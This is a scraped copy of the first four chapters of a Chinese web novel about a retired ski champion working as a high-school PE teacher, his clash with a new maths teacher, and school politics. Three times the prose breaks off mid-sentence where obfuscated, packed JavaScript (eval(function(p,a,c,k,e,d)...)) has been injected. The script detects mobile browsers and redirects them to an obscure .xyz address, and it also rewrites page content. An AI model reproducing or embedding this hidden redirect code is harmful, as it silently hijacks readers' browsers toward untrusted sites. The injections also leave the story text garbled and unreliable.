《退役当体育老师的养老日常》 1. 001 随着最后一个内转动作在深蓝的天空中划过,运动员稳稳落地驶向终点,身后雪雾飞起。 评分:86分。 观众席内,人们站起来喊着挥动着手里的旗子,为这位运动员助威。 祁衍扣着卫衣帽子,安静地坐在那里,四周的喧嚷从头顶传来,把男人整个包裹了起来,他姿势松散,扣着的卫衣帽子里还戴了顶棒球帽。 帽檐下,男人看着评分,勾了下嘴角。 赛场上,因为超常发挥刚才像猴一样撒欢的人,终于回了意识,应该是意识到了这是现场直播。 他离开赛场之前,转头找着人。 祁衍盯了他几秒,指腹摩挲了两下,离开了观众席。 他在洗手间抽了根烟出来的时候,接到了刚才那位猴的电话。 祁衍刚接起,就被对方兴奋且高频的声音炸了耳朵,他移开手机,等对面那头的人说了十几秒,才又把手机放回耳边。 “就问你一句话,你弟弟我帅不帅!”洛崎说:“八十六欸!没白来吧祁哥!都不白来哈!上个月陈教练还说,我这在雪场牙磕雪尝咸淡的动作,要能拿八十以上,跟后面叫我爷爷。” 祁衍半倚靠着墙,手上还拿着打火机,有一下没一下的打着,语调里带笑回他:“得,你还多送他六分,干脆让他直接喊你爷爷6。” “嘿嘿,还是我祁哥说话真耐听。”对面还在高频输出着,祁衍偶尔带笑应一句。 洛崎电话那边传来了熟悉的声音。 “和谁打电话呢?一会儿有采访。” 祁衍刚要出声,洛崎就已经接过话:“啊,和祁哥。” “祁衍?”电话那边的人问了句:“他来看比赛了?” “对啊对啊,我缠了好久才哄来的。”洛崎笑着说。 祁衍那边还靠着墙,在电话那边叫了声:“陈哥。” 陈珉是国内首屈一指的滑雪队教练,也是祁衍之前在滑雪队的教练。 “什么时候过来的?一直在观众席?”陈珉拿过电话说。 “嗯。”祁衍鼻腔带着笑:“明儿要开学嘛,最后一天假期了,想着转转,刚好洛崎给了票,就来看一眼。” 陈珉沉默两秒,嗯了声。 洛崎心大,电话那边还在和队里其他人嘻嘻哈哈打趣着。 祁衍轻挑眉,看了眼时间:“那你们忙吧。” 陈珉迟疑了下说:“一会儿队里有聚餐,你……” 陈珉说一半没说完。 祁衍还特意等了他几秒:“我什么?” 陈珉说:“你要想来的话。” 队里的人祁衍基本都认识,都是小他几代的师弟,要是去也能去,但这是庆功宴,祁衍去了怕扫兴,他自己也不乐意去,毕竟退都退了,他去不合适。 今天来看比赛都很难得了,要不是洛崎缠他半个多月,非让祁衍去看看他进步没有,祁衍比赛也不会去看。 祁衍在停车场转了一圈才找着车,开了车门,闻言笑了声,手肘撑着车门说:“陈哥,算了吧,看比赛是看比赛,吃饭不合适。” 陈珉不说话了。 祁衍进了车里:“你们玩吧,我现在可是高三班主任,明儿开学一大早,还要跟学生早自习。” 后视镜内露出男人一双弯弯的桃花眼,车灯的光倒映在他眼底,像盛着汪湖水,深邃沉静。 陈珉在电话那边叹了口气,补了句:“我没没戳你伤处的意思……” 祁衍轻挑眉,单手打着方向盘,笑了几声:“没伤处,伤处是疼了才叫伤处,我这都脱痂了,刚逗你玩儿呢,陈芝麻烂谷子的事儿了,和我说个话你也别像手上绷着弹药引线一样,不至于。” 祁衍也是觉得有意思,之前那件事儿都过去五年了,拿洛崎来说,当年祁衍出事儿的时候,这小孩还是个兔崽子,现在洛崎都和他当年都一样大了。 滑雪队更新换代好几批人了,事儿也都过去这么久了,陈珉每次和他说个话还是别扭,祁衍听着都累。 祁衍又和陈珉了几句,最后挂了电话,出了停车场打算回家。 今儿这路走的,祁衍刚上铁架桥就堵了,勉勉强强挪了半个小时,结果听前面的人说,还要再堵一阵,说是前面出车祸追尾了,连着追了好几辆车。 祁衍手指叩着车窗。 马上就进九月了,前几天下了场大雨,天儿凉了一阵,现在天雾蒙蒙的,倒是有点闷热。祁衍今儿出来得赶,套了件卫衣,他衣袖撸到手肘,指腹摩挲了下,打算下去吸根烟。 他点了根烟吸了口,观察着前面路况,这边虽说不在市中心,但是四周娱乐场所多,不一定堵到什么时候呢。 祁衍扫了圈四周,车上的人都自发下车,吃饭的吃饭,遛弯儿的遛弯儿。 祁衍则是看上一家小酒馆,没有什么多余的装饰,连夜晚店铺最基本的荧光灯都没有,门口摆了几张凳子,有两个男人在喝酒。 祁衍观察了他们一会儿,然后抬步走了过去,在门口停留了两秒进去了。 酒馆内放着早期美式街头摇滚,不像其他酒馆一样喧嚷中带着浓浓的烟酒气息,反而有缕淡淡的果香。 祁衍猜测这应该就是个高端的日常交友场所,毕竟一般酒吧,没人会把高奢香氛摆的到处都是。 祁衍找了个没人的卡座坐下,酒保过来的时候,不经意从上到下扫了祁衍一眼,刚好被祁衍捕捉到了。 好吧,相比较其他妆容精致,发型梳得一丝不苟,浑身上下透露着自己是来狩猎的人来说,祁衍这一身运动衣是有些随便,不过他本人很满意。 祁衍车还在这儿,不能喝酒,就点了杯果汁,酒保刚走,他身边紧接着多了片阴影。 来自一位长相精致的男孩,笑着朝他点了点头,问他对面有没有人,祁衍轻挑眉,摇头。 今天进入这个酒馆是意料之外,现在有人来搭讪,祁衍又作为一个正常的不能再正常的gay,如果眼前这位刚好把他逗的开心,祁衍还挺愿意和他聊几句,但也仅限聊几句。 祁衍不玩儿,如果不是因为堵车,他也不会进gay吧。 不过祁衍有些失望,眼前这位漂亮的男孩,显然没办法勾起他的兴趣。 经过和男孩短暂的谈话,祁衍知道这个男孩叫梁灿,还在上大学。 自从成为人民教师,不管对于哪个阶段的学生,他都心怀爱滚多远滚多远,别砸我铁饭碗的觉悟。 不过祁衍说了自己老师的身份之后,面前这位学生,好像更加兴奋了,反倒是手臂贴了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563424|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没想到哥都快三十了,长得完全不像。”梁灿说。 祁衍不动声色收回手臂,淡淡说:“诶,二十九是二十九,怎么也是二开头,三开头听着老,可别给我四舍五入。” 梁灿给逗笑了:“哥也不像二十九的,不管长相还是穿衣风格,感觉和我这个年纪差不多。” 祁衍只是笑笑,没搭话。 梁灿还在自顾自说:“我之前是个一看见老师就头疼的,原以为自己是无差别讨厌所有的老师,遇见哥才发现,脸才是王道。”说完还对他甜甜一笑。 祁衍抿了口水,没说什么。 祁衍不管是笑不笑,他那双天生的桃花眼都自带着亲和力。 以至于有时候,他实在不耐烦,面无表情盯着犯错的学生,想给他们些威慑力,但学生这时候往往会被盯脸红。 好吧,也算是起到了另一种层面上的威慑力。 “哥,那你是教什么的呀?”梁灿问。 祁衍好整以暇盯着他:“你猜。” “我猜是文科。”男孩说:“哥说话好温柔,应该是文科吧。” 祁衍笑了下,眼皮抬了抬说:“很遗憾,我其实是教体育的。” 男孩明显愣了一秒:“……体,体育?” 祁衍眯了下眼,他对这个反应倒是很满意。 祁衍姿势一直很随意,靠着椅子,头歪了歪,一只手随意打转着卫衣帽子的抽绳。 他刚要说什么,抬眼的时候,眸光扫见个身形,一直没什么变化的桃花眼,眼底情绪深了下。 他手指摩梭着酒杯,喝了口说:“同学,你平时经常来这里?” “嗯是。”男孩还没从面前这个人,可能在课上教八段锦的画面中走出来。 下一秒,祁衍在他面前打了个响指。 男孩回过神,看着祁衍那张近乎完美的面孔,算了,教八段锦就八段锦吧…… “问你个事儿。”祁衍朝他一笑。 男孩已经被笑勾没魂了:“什么事儿?” 祁衍手指抬了下说:“那个人。” 男孩顺着他指的方向看过去。 对面吧台里面,站着个身形优越的男人。 祁衍这个角度看过去,一眼能看到男人手腕价值不菲的手表,以及男人正抓着调酒杯上下摇晃的手,骨节分明,光影下青筋鼓起顺着紧实的小臂线条,隐入挽起的衬衫袖子下面。 虽然面前这位男士正在做着调酒的工作,但祁衍不会蠢到认为,能戴得起五十多万手表的人是酒吧的调酒师。 “哦,燕哥啊。”男孩说:“哥第一次来这儿吧,他是酒吧的老板,我们都叫他燕哥。” 祁衍目光顺着男人的手臂往上移,看清男人面容的瞬间,眼皮抬了抬。 过了几秒之后,那位伪装成调酒师的老板注意到了祁衍的视线,看了过来,两人对视了一眼。 祁衍眼底的情绪滞住了几秒,不过很短暂就恢复了自如的神态,朝着对面吧台上的男人笑了下,然后不动声色收回了视线。 “长得不错。”祁衍说了句。 “怎么?哥喜欢这号的?”男孩似乎很是诧异,都笑了:“我以为哥不是这个号的。” 祁衍抿了口水,浅浅笑了下说:“就问问。” 2. 002 祁衍后边心思明显不在这儿了,男孩又自顾自找了几个话题,相比刚才,祁衍答的更敷衍了。 中途祁衍目光偶尔会不经意放到吧台里的男人身上,他当然不是有意看的,但整个酒吧,他扫过一圈,只有吧台里这位老板足够能吸引他视线,无论是被衬衫西装裤勾勒出的身材,还是周身那种不冷不淡的气质,确实夺人眼球。 自然,人对赏心悦目的事物都没有抵抗力,酒吧里这么多人,祁衍粗略观察了下,至少有四分之一的人都在有意瞥这位老板。 当然也有四五个人过去搭讪,这位老板看着挺冷的,实际上过去和他搭讪的人,也都能说一两句,不过没有后续。 祁衍嘛,顶多算是个欣赏者,虽说他已经和这位老板不经意对上几次视线了,但祁衍每次都能不动声色再移回来。 最后一次对上视线时,祁衍电话刚好响了,是他堵车时候,后边那辆车的车主,告诉他路通了,能走了。 “行,谢了。”祁衍说:“马上过去。” 祁衍转头看向面前这个小孩儿:“我……” “哥要走了?”男孩说:“走哪?” 祁衍轻挑眉,笑了:“怎么着?” “不怎么着。”男孩努了下鼻子,还挺可爱:“看出来了,您看不上我们年轻的。” 祁衍捞起钥匙,在手里转了圈:“也不是,我看眼缘。” “不嘻嘻,一晚上一个都没钓到。”男孩肩膀都塌下来了。 祁衍顺嘴问他:“你不学生吗?明儿可是开学,没课?” “啊。”男孩顿了下,下意识回答:“好像有,但也无所谓,早课不想去。” “什么叫早课不想去。”祁衍下意识皱眉,叩了下桌子说:“你学校在哪,挺晚了,我送你回宿舍。” 男孩都愣了,盯着他眨巴眼:“哥,你不是吧?管学生管上瘾了。” 祁衍笑了声:“确实有点儿,但你和我坐了一个小时,酒吧里这些人又不瞎,我估计你今儿是钓不上人了,早点儿回去吧,该上学上学。” 男孩看了眼时间,表情纠结,短暂挣扎了下,抬头看见祁衍的笑容的时候,松了劲儿:“也行,那你送我?” 祁衍应了声:“送你,就当你给我解闷儿的报酬。” 男孩起身,边穿外套边说:“我还是第一次钓人钓到体育老师,还给我抓回学校的。” 祁衍听笑了,两个人一起出了酒吧。 送梁灿回学校的路上的时候,梁灿还在有意无意给他释放信号,祁衍一概屏蔽,给人送到了校门口。 隔着车窗,梁灿一脸幽怨盯着他。 祁衍单手打着方向盘,降下车窗,朝窗外一笑:“好好学习,天天向上。” 说完,车一溜烟儿就走了。 祁衍回到家,洗完澡出来,带着水珠的手随手翻着手机。 洛崎今儿庆功宴估计喝多了,对话框里一条接一条四五十秒的语音,还在输出。 祁衍点开,语音自动播放,他把手机扔到了床上,拿吹风吹着头发,洛崎带着明显醉意的声音,在噪音下显得更加含糊不清。 前几条基本都在吹嘘他今儿这比赛有多厉害,中间几条在感怀祁衍一去不复返的运动员生涯。 说起来也有意思,他退出国家队这么多年过去了,祁衍自己都不觉得有什么了,但周边这些人好像都在绷着这根线,洛崎平时大大咧咧,喝多了在他面前,照样也是死绷着那根引线。 “哥,我能走到今天,有一半是因为你,真的,我有什么成就,这上面都有你名字。”洛崎说的断断续续:“不和你说假的哥。” “今儿有记者还问我,问我最喜欢哪个滑雪运动员,我说的你名字,陈队拉我都来不及。”洛崎还说:“结果那记者问我你是谁,真操了,连伦敦奥运会都没看过的记者,来这儿采访个什么劲儿。” 祁衍手指随意扒拉着头发,鼻腔发出声笑,他就拿了那么一次冠军,之后大大小小的运动会那么多,国内好的运动员层出不穷,记不得太正常了。 后边洛崎又开始夸他,洛崎一直这样,总说是他迷弟,喝多了就是狂热粉。 祁衍招架不住这狂热,想去把语音掐了。 他关了吹风机,房间里陡然陷入了安静,洛崎那边的语音清楚了不少,祁衍不知道这人说到哪了,只能听出语气里有明显的不满。 “不是……他,他凭什么啊,林,林琰那个属狗的,有什么好的啊祁哥,他就是仗着你喜欢他,才那样,而且当初要不是你……” “你在给谁发消息?”陈珉声音陡然插了进来。 语音戛然停止,房间里现在什么声音都没有了,格外安静。 祁衍没什么表情,毛巾挂在脖子上,过去捞起了手机,刚才洛崎最后一条语音已经被撤回了。 祁衍躺床上,点开了班群的消息,明儿就要开学了,暑假里每天999+消息的群,今晚倒是没太多动静。 祁衍抬了下唇角,发了条消息。 【宇宙级男模:猴儿们,马上十二点了,奇迹创造完没?】 备注是学生给他改的,祁衍就由着他们玩儿,偶尔看见这名字,还觉得挺有意思。 群里回消息还挺快,一个接一个,不过基本都回的表情包。 【曲蛐人:正在批奏折,勿扰。】 【曹这个世界:作业和我!今晚只能留一个!】 【张张包:快了快了,也就还剩六十多张试卷了,死的很快的。】 【顾德猫宁:好烦,谁有第二十四张物理试卷最后一题的答案啊?临门一脚啦!】 祁衍眉心一跳,发消息。 【宇宙级男模:怎么?现在抄作业都不避人了是吧?】 【胡辣汤:祁哥,再发消息你来写】 后面一连串全是+1 祁衍给逗笑了会儿,发了条语音,声音懒洋洋的:“好了各位,早点儿睡吧,明儿高三第一天,养养精神,各科老师那里我先兜着,开学后三天内要写完作业,至于明儿早自习,留给你们补作业。” 群里炸了几秒。 【这就是宇宙级男模的实力嘛!】 【祁哥全校第一帅!!】 【祁哥明儿给你带早饭!】 祁衍接着发了条语音:“欸,前提是作业一半的内容得自己写,基础题看你们个人,觉得没问题的,那随便,总得先写完,难题要真不会就空着,但必须自己做啊,如果哪天我翻开作业,查你们做过的题,你们答不上来,那咱就体育课上见。” 【包的包的。】 【还得是我祁哥,自己人自己人。】 【祁哥么么么,爱你~】 说这些话的基本都是男的,女孩表达感情比较含蓄,发了一堆可爱的表情包。 祁衍翻了会儿消息,摁熄手机屏前,看了眼时间,说是要回来早睡,结果还是拖到了凌晨。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563425|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 九月一开学,他带的班级就要进高三了,进高三后六点要上早自习,班主任还得在那里看着。 难搞,祁衍八百辈子没六点起过床了。 希望明天看早自习的时候,祁衍他不会在讲台上睡着,上次他给学生看晚自习,太困了,不小心眯了会儿,被班里那群猴拍了视频,来回传了好久,还给他P了表情包,现在班群里都经常能冒出来。 翌日,开学第一天。 祁衍硬生生睡到不能再睡的时候,才起床,开车去学校还得半个多小时,早知道上半年学校报公寓的时候,他就报上名了,住在学校里面,至少能多睡十几分钟。 不过他现在住的地方离学校也不远,他之前走读的时候,爸妈买的房子,后边毕业了这房子一直没人住,祁衍这几年当了老师,才又搬回来。 祁衍大早上到教学楼,中间碰见一流水的高三班主任,全都是萎靡不振的样子,脸是浮肿的,眼皮是飘起来的。 祁衍对于这种情景,有先见之明,提前扣了个墨镜在头上。 “哟,祁老师来了,大早上就戴墨镜,挺注意形象啊。” “那必须,咱靠脸吃饭,不能在学生面前跌份儿。”祁衍说着还抓了抓头发。 祁衍直接去了教室,他上到三楼的时候,没听见猴叫,估计都在忙着补作业。 来看了之后,果不其然,各个都是低头族,教室里只有沙沙沙的写字声。 当然也有在假期就写完作业的,但这都是自律的好学生,已经开始自发做新卷子了。 祁衍一进门,学生齐刷刷抬头看他。 祁衍往讲台上一坐,身子一靠。 “看我干嘛?俩月没见,忘了长什么样了?”祁衍后脑勺头发睡得翘起来一块儿。 “祁哥又帅了啊。”第一排的男生说。 说完之后,其他人又跟着应和。 “帅没边了哥,俩月不见更会装了,大早上戴个墨镜。” 祁衍啧了声,还没来得及反驳。 “这是因为怕眼睛肿,你们也不看看自己一个个脸肿成什么猪样了。”说话的女生叫顾沁,就是昨晚那个要物理作业的。 他们班是理科班,女生比较少,这位是他们的女班长。 祁衍抬手看了眼表,还有一分钟才上早自习:“人女孩儿说的对,我这叫给眼睛充分时间消肿,而且我们哪就俩月没见了,我朋友圈的动态,群里发的照片,你们是一张不看啊?” “看了看了。”学生赶快都说:“我都保存了。” “祁哥是我锁屏桌面。” 祁衍假期里,没事儿就喜欢给学生整一些日常动态,什么最近去哪玩儿了,吃饭的照片等等。 这些学生特闲,他在群里一发百应,还说是男明星更新动态,给祁衍逗得直乐。 早自习的铃响了,刚才聊了两句,这些没睡醒的也都清醒了个差不多。 “得了,上早自习了,该干嘛干嘛。”祁衍点到为止说。 学生还是盯着他,不说话,只小声笑着。 靠窗的王者座位开的口:“祁哥,你昨晚说了什么还记得吧?” 祁衍从讲台上捞了支笔,敲了敲桌子:“得了,少废话,快点儿写,三天之后写不完,我可兜不住,到时候各科老师叫你们办公室面谈,我先替你们丢人。” 这话一出来,台下有小部分人笑了,然后慢慢归于安静,又只剩下沙沙的写字声音。 3. 003 还好戴了墨镜,祁衍中间耷着眼皮走会儿神,也没人发现他,早自习很快就过去,祁衍走的时候,也没说下课,这群猴儿还个个埋着补作业。 祁衍早上垫了个包子,现在也不怎么饿,就回办公室,准备下午开学大会要的材料。 祁衍和碰见的老师,挨个打了声招呼,都是顺口问候。 老师都在办公室瞎扯,还有几个在捂着自己带着浓浓茶垢的水杯,呼噜呼噜喝着。 祁衍有自己专门的办公室,但是要路过他们教务处的大厅,还是被一群老师先揶揄了一番。 “祁老师来了,暑假过得挺滋润啊祁老师。”说话的是靳老师。 祁衍耸肩:“放假谁不滋润,靳老师不会是没放够两个月吧,看状态明显操劳过度啊。” 靳老师八月份被校领导叫去外地出差学习了,学习了半个月才回来。 靳老师指着祁衍笑了会儿:“你这人。” 他们平时都经常这么开玩笑,这和四五十岁的叔姨爱逗小孩儿是一个心理,学校里基本都是比较年长的老师,遇上为数不多年轻的老师,不逗两句,就好像不符合他们老教师的身份一样。 像祁衍这种长得还好看的,那就更是话题中心,不过祁衍也都习惯了。 祁衍还是蛮尊重这群老教师的,尤其是当了班主任之后,面对成堆糟心的事儿,祁衍更是对这些坚守在岗位三十多年的老教师肃然起敬。 今儿靳老师问起祁衍暑假过得滋润,也是有原因的,这事儿还得从放假的时候说起。 当时教育局下发了通知,让学校暑假不能强制学生补课,但他们学校不做人,让班主任直接联系家长,签责任书说明,证明学生是自愿在学校上自习。 这事儿并没有透到学生那里,祁衍当时看着学校安排的这差事儿,笑得腰都弯了。 学生自愿补课?哪愿了?梦里愿的? 祁衍乐完,转头就开了个小号,在学校超话里,把事儿捅出去,告诉了学生。 不过这事儿,没人发现是他干的,事儿捅出去之后,祁老师直接就销号了。 学生也不负众望把这件事儿闹大了,教育局还打来了电话,学校一看闹大了,转头就变脸了,不再越过学生联系家长,而是让他们班主任给学生做心理辅导,让学生同意补课,实际上还是逼着学生强制性补课。 老师自然劝不动这群祖宗,然后祁衍他们就提出个方案:不统计人数,学校拎出一栋楼当自习室,学生想去就去,然后每天安排些老师管理秩序就行。 这事儿提出来,学生没什么意见了,反倒是学校不愿意了,他们本意是想看着所有学生,让强制性学习的,但是祁衍这方案提出来,学生学不学就由着学生的自制力决定了。 不过学生倒是很乐意,也只接受祁衍这个方案,学校没办法,最后只能按照祁衍的方案执行。 其实有不少班主任都同意强制性补课,这些人似乎觉得,多补那几十天的课,学生就能高考飞升一样。 祁衍不理解,这事儿一出来,他也得罪不少人。 “俩月没见了祁老师。”说话的是钱老师,隔壁班的班主任,这就是同意强制补课的其中一位。 祁衍和有个教导处的老师关系不错,暑假喝酒的时候,无意中了解到这位钱老师,还在校长面前告了自己一状,无非就是说他自由散漫,对学生管教不精,不适合继续带高三这种。 祁衍当时听了就一乐,没太想计较什么,他性子挺随便的,想干什么就干什么,得罪人了就得罪,祁衍不在意这些。 但现在这人还在他面前嬉皮笑脸晃悠,祁衍也是气顶了,主要是对他眼睛不好,他看不上虚的。 “钱老师早,开学快乐啊。”祁衍停了步子。 祁衍上半身冲锋衣,帽子耷拉在一边,穿了个运动短裤,脚踩运动鞋,标准体育老师穿搭。 一米八多的身高,在钱老师办公桌前一站,光都压没了。 “祁老师状态不错啊,整整放了俩月,睡觉踏实吧?”钱老师调侃说。 祁衍手撑了下桌子,还真细细想了下:“睡得还真不太踏实,家里床垫不行,钱老师这么关心我,不如和校长反映反映,让校长今年教师节改给我们送床垫吧,别整那些米啊面啊,老师忙得周六日都得出去兼职补课,哪有时间做饭啊。” 这话祁衍是稍微压着点儿声说的,也就只有钱老师和他能听见,这位钱老师,周六日偷偷搞一对一家教这事儿,在办公室里都不是秘密了,不过没人当面说。 祁衍今儿突然说这个,就是想让面前这位知道,他敢当着他面提这事儿,自然也敢去校长那里提,他性子就这样。 钱老师还保持着体面,只是扯了下嘴角。 祁衍转头像没事人一样,和其他老师打了声招呼,回了办公室。 祁衍平时忙班主任的事儿,还要负责高三体育特长生的练习,暑假的时候,祁衍给这些学生制定了计划,让他们每天打卡录视频,给自己检查。 现在新学期开始了,进入高三最后一年,祁衍又得开始写新的计划书。 不仅这样,他还是北京市雪上协会的,负责和学校培养雪上运动员的项目接壤,其实也就是挂个头衔,发展些年轻运动员,主持学校的体育项目。 祁衍早赶慢赶,上午去给特长生们开了个会,转头又去他们六班盯课。 抓住靠窗睡觉的一位,睡得可香了,书罩在头上,祁衍隔着窗户和任课老师对视了一眼。 下一秒,任课老师的粉笔头就飞过来了,祁衍在窗外盯着,等下课了才吹着口哨离开。 这总算得空能歇会儿了,祁衍溜达着去了老师办公楼厕所,放了个水,顺便抽根烟。 他刚点上烟,打算去厕所门口抽,和一个鬼鬼祟祟进厕所的学生,迎面撞上了。 学生明显吓一跳,手往后躲着一抖,手里的烟掉在了地上。 结果在看见是祁衍之后,半松了口气:“哎呦我去。” “吓我一跳祁哥,你在这儿躲着干嘛。”学生赶快从兜里拿纸拿起地上的烟,扔旁边垃圾桶里了。 “谁躲了。”祁衍光明正大在这儿抽烟。 这学生二班的,是篮球队的队长,祁衍和他打过几次球,也是他们体育特长生里的一个。 “你们来这儿抽烟之前,不看里面有没有人?”祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563426|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍叼着烟,半模糊说。 老师办公楼这边上厕所的人本来就少。 “我这不刚要看,您就出来了,给我吓一跳嘛。”学生嬉皮笑脸的,搓了搓手,眼巴巴盯着祁衍嘴边叼的烟。 祁衍从嘴边取下烟:“别说你就带了那一根。” 学生一扁嘴,哼唧了两声:“祁哥,江湖救急,真忍不了了,不给我抽,我后两节课都上不安生。” 祁衍轻哼了声,从兜里摸出烟盒,往旁边一扔。 “谢谢祁哥,真亲哥。”学生接住,拿了一根,就要还给祁衍。 “下不为例。”祁衍抓了抓冲锋衣边上的松紧绳,正要伸手拿回烟盒。 突然有一双手,先他一步,从后面伸了过来握住了烟盒,白皙且骨节分明的手上青筋格外明显,祁衍脑子一闪而过,感觉这双手有点儿熟悉。 他顺着手来的方向抬头,吓得心一抖,他身后不知道什么时候站了个人。 这人盯着祁衍,表情格外复杂。 祁衍更复杂。 他辨认了好几秒,还是不敢信。 这人不是昨晚那位开gay吧的老板吗!就是鼻梁上多了副眼镜。 祁衍僵着动作打量他一圈,确认他就是昨晚那个装调酒师的老板,毕竟一个人的身形是不会变的,祁衍昨天就是被他的身材吸引的视线,足足在那里瞥了好几眼,他没喝酒,不可能认错。 祁衍还没回过劲儿,就被这人拎着去校长办公室了,连同他一起的,还有那位被抓包的学生。 学生在走廊外站着,低着头,被赶来的教导主任训的耳朵发红。 祁衍在办公室里面,坐在校长桌对面,也抬不起头。 校长沉默着,逮他来的哪位也沉默着,桌子上还放着从他身上收刮来的打火机和烟。 校长总算开了口:“祁老师,这实在是不应该。” 祁衍也知道今儿这事儿做的不体面,但偏偏是他撞上了这事儿,祁衍太知道馋烟的时候多影响学习状态了,他高中也这么过来的。 这些学生都抽上瘾了,要是教导处那帮人逼着这些孩子戒烟就能戒,那他祁衍的烟瘾早在高中就戒了。 祁衍想睁只眼闭只眼过去,结果谁知道厕所里还有个人。 校长知道祁衍的性子,多说无益,批评也没什么用。 祁衍当初是退役之后,被他们专门聘来,负责协会和学校接壤的,他的位置谁也替代不了,校长不可能因为这事儿给他什么大处分,这事儿传出去不好听,开除就更不用说了,当初费好大劲儿才请来的,不可能让他走。 “算了。”校长轻叹了口气:“祁老师,你这性子,多少老师明里暗里有意见,都在我这儿挂着状呢,你自己心里有点儿数。” 祁衍主要也没想到,他旁边这位多大腕儿啊,能直接给他拎校长这儿,平时这种事儿,教导处随便处理一下就行了。 不过后边祁衍听明白了,旁边这位是特聘的新教师,负责高三有几个班的数学课程。 欸,刚好就有祁衍他们六班。 “欢迎燕老师。”祁衍很体面说了声。 燕习淡淡瞥了他一眼,没应他。 4. 004 祁衍搓了搓衣角的松紧绳,抬手看了眼时间,学生那边一会儿就上晚自习了,今儿开学第一天,晚自习第一节要开班会的。 “今儿这事儿我确实做的不对,心思想歪了。”祁衍又承认了遍错误:“让燕老师看笑话了,这事儿下去我会好好反思,一会儿让政教处的人给我挂一单,该扣工资扣工资,这风气确实不能长。” 校长这才无负担笑了笑,指着祁衍说:“你小子,认错头一名,下次照样犯。” 祁衍摸了摸耳朵:“诶呦,领导给留点儿面子吧,新老师在这儿呢。” 新老师并不想接他话茬。 祁衍摆出了态度,校长也点头了,但还是没放他走的意思。 “那我先走了,班里还有事儿。”祁衍站起来说。 校长欸了声:“祁老师再坐会儿。” “还没训完?一会儿得开班会呢领导。”祁衍刚才勉强认错两秒,现在就又冒头了。 余光里,祁衍感觉燕习似乎侧头看了他一眼。 “坐坐坐,有事儿和你商量。”校长摆了摆手。 祁衍只能又坐下了。 “燕老师,你也先等等。”校长起了个势。 祁衍扫了眼旁边的燕习,怎么着?领导有什么事儿单独要和他俩说? 祁衍有了点儿苗头,接下来的内容,更加笃定了他的猜测。 之后的半个小时,校长独自演了出戏,先是悉数高三莘莘学子的不易,又花了一半时间夸赞燕老师的业绩。 祁衍有一搭没一搭听着,从校长那里了解到这位燕老师,博士毕业进了某著名大学高中部当老师,校长说着还想列举燕老师在高中部获得的奖项。 但是被当事人截断了。 “在哪儿都一样,来到贵校是我的荣幸。”燕习声音不冷不淡,接过话说。 校长乐呵呵笑了会儿,转头看祁衍,这人手上不知道从哪捞了根笔,手上不停转着,满脸写着:说重点,别吹嘘。 “祁老师。”校长开口叫他:“您现在也了解了燕老师的基本情况,额,您是头一回当班主任,高一高二带的挺好,您的付出,我们也都看到了。” 校长顿了下,似乎是在斟酌措辞。 祁衍手上的笔,绕着指尖转了一圈,他放下笔说:“您直说吧。” “是这样哈。”校长说:“您毕竟是体育老师,可能其他科的经验上也比较欠缺。” 祁衍没什么表情听着。 “暑假补课这事儿,当时也闹得挺大,我当然认为您做的没什么问题,但的确有人在我耳边跑了跑耳风,有几位家长也私下和我反映了一下,我作为校长,也是很难做。” 祁衍听到这儿,靠着椅背姿势松了劲儿,表情里都透着懒,其实他就是不耐烦了。 “我知道您的意思了,就是高三这关头了,打算给六班换个班主任呗。”祁衍直接说,他不想玩儿虚的,一会儿班里还开班会呢。 校长没说话,默认了。 祁衍看了燕习一眼。 燕习垂下了眼皮。 祁衍蹙眉,身子坐直:“这班我带了两年了,都有感情了,您要从高一就没给我带,突然高三扔给我,那这差事儿我躲也来不及,但我都带两年了,您现在在这关头给我撬走,就算我无所谓,我的学生能受得了吗?您也说了,他们都高三了,您整这一出。” 祁衍越说越有点儿恼,憋气口里的脏话咽了回去:“不体面。” 校长也皱起了眉。 祁衍很少有这么斩钉截铁和领导说话的时候,他平时人还是挺圆润的,一直以来和校长关系也还不错,但今儿说话他承认是真急了。 放屁,谁家孩子被抢了能不急啊。 燕习在旁边从头到尾一直没怎么说话,但在这种尴尬的场景下,倒是难得开了口。 “校长,我是这样想的。”燕习始终笔直坐在那里,声音也平平的,让人听不出情绪:“我对祁老师现在这个班级确实不熟悉,直接让我带,我只能说自己能力有限,接不了这个担子。” 校长眉头皱更深了。 “但今天我既然都来到这儿了,合同都签了,我不可能不干。”燕习说。 祁衍咬肌紧绷了下。 “不如让祁老师先带我一个月。”燕老师说:“和学生多接触接触,之后再谈换班主任这件事儿。” 祁衍没忍住,手揉了揉后脑勺,他心里闷找不到出口的时候,就喜欢这样。 燕习看着是退了一步,实际上已经要打到敌人内部了,还让敌人首领给他当引路人。 